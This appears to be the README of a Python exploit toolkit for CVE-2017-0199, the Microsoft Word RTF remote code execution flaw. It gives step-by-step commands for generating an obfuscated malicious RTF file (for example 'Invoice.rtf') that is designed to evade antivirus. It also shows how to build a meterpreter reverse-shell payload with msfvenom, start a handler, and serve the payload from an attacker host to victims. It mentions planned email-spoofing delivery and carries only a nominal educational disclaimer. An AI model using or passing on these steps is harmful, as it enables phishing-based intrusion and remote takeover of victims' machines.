Exploit toolkit CVE-2017-0199 - v3.0
Exploit toolkit CVE-2017-0199 - v3.0 is a handy python script which provides a quick and effective way to exploit Microsoft RTF RCE. It could generate a malicious (Obfuscated) RTF file and deliver metasploit / meterpreter / other payload to victim without any complex configuration.
Video tutorial (for v2.0)
Release note:
Introduced following capabilities to the script
- Generate Malicious Obfuscated RTF file ( using -x option ) to bypass AV
Detection rate before obfuscation
Detection rate after obfuscation:
- Deliver custom HTA file ( using -H option )
Version: Python version 2.7.13
Future release:
Working on following feature
- Automatically send generated malicious RTF to victim using email spoofing
Example:
-
Step 1: Generate malicious obfuscated RTF file using following command and send it to victim
Syntax: # python cve-2017-0199_toolkit.py -M gen -w <filename.rtf> -u <http://attacker.com/test.hta> -x 1 Example: # python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1 -
Step 2 (Optional, if using MSF Payload) : Generate metasploit payload and start handler
Example: Generate Payload: # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe Start Handler: # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run" -
Step 3: Start toolkit in exploitation mode to deliver payloads
Syntax: # python cve-2017-0199_toolkit.py -M exp -e <http://attacker.com/shell.exe> -l </tmp/shell.exe> Example: # python cve-2017-0199_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
Command line arguments:
# python cve-2017-0199_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-0199 (Microsoft Word RTF RCE)
Modes:
-M gen Generate Malicious RTF file only
Generate malicious RTF file:
-w <Filename.rtf> Name of malicious RTF file (Share this file with victim).
-u <http://attacker.com/test.hta> The path to an hta file. Normally, this should be a domain or IP where this tool is running.
For example, http://attackerip.com/test.hta (This URL will be included in malicious RTF file and will be requested once victim will open malicious RTF file.
-x 0|1 (default = 0) Generate obfuscated RTF file. 0 = Disable, 1 = Enable.
-M exp Start exploitation mode
Exploitation:
-H </tmp/custom.hta> Local path of a custom HTA file which needs to be delivered and executed on target.
NOTE: This option will not deliver payloads specified through options "-e" and "-l"
-p <TCP port:Default 80> Local port number.
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
-l </tmp/shell.exe> Local path of an executable file / meterpreter shell / payload (If payload is hosted locally).
Disclaimer
This program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (bhdresh) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using this program you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not bhdresh's responsibility.
Credit
@nixawk for RTF sample, @bhdresh
Bug, issues, feature requests
Obviously, I am not a fulltime developer so expect some hiccups
Please report bugs, issues to bhdresh@gmail.com